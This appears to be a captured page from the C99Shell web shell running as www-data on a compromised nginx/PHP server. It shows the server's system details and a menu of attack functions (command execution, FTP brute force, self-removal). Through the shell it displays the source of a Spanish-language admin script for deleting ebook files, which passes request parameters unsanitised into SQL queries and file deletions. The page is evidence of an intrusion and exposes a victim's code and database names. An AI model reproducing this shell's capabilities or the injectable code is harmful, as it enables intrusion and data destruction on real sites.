!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/wwwroot/frames/   drwxrwxr-x
Free 83.34 GB of 96.73 GB (86.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     borraepubmobi.php (1.76 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
   
include "conn.php"
 

 include 
"./classes/class.log.php";   
 
 
$control= new control();

 
$anonimo=true;
 
 
 
?>  
 <center><table border=0><?
if (strtoupper($control->subgrupo)==="BIBLIOTECARIO"){ 
    
$autorizado=true;
}else{
    echo 
"<tr><td align=center><center>operacion no autorizada</td></tr>";
    
    
?><tr><td align=center><A HREF="javascript:history.go(-1)" style="text-decoration:none"><img src="volver.jpg" border=0></img></a></td></tR></table><?    
    
die();
}
                  
 
$row=mysql_fetch_array(mysql_query("select * from papyr225_papyre.libros  where id={$_REQUEST['id']}",$conn));
 

if (
$_REQUEST['borrar']=='epub'){
    
    
//debieramos borrar el antiguo
    
$ruta=str_replace("http://papyrefb2.net","",$row['ruta_epub']);
    if (@
unlink("/home/wwwroot".$ruta)){    
    

    }else{
     echo 
" no encuentro el fichero $ruta";
     }
     
$sql="update papyr225_papyre.libros set ruta_epub=NULL, ruta_adfly_epub=NULL, ruta_epub_remota=NULL ,ruta_epub_onion=NULL  where id={$_REQUEST['id']}";
    
}

if (
$_REQUEST['borrar']=='mobi'){
    
$ruta=str_replace("http://papyrefb2.net","",$row['ruta_mobi']);
     if (@
unlink("/home/wwwroot".$ruta)){
    
    

     }else{
     echo 
" no encuentro el fichero $ruta";
     }  
     
$sql="update papyr225_papyre.libros set ruta_mobi=NULL, ruta_adfly_mobi=NULL, ruta_mobi_remota=NULL ,ruta_mobi_onion=NULL where id={$_REQUEST['id']}"
}


    
    
    
    
    
mysql_query($sql,$conn);
    if (!
mysql_error()){
        echo 
"<tr><td align=center>{$_REQUEST['borrar']} borrado</td></tr>";
    }else{
        echo 
"<tr><td align=center>fallo borrando {$_REQUEST['borrar']}</td></tr><tr><td align=center>".mysql_error()."</td></tr>";
    }



     
?><tr><td align=center><A HREF="javascript:history.go(-1)" style="text-decoration:none"><img src="volver.jpg" border=0></img></a></td></tR></table><?    
     

      
die();


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0041 ]--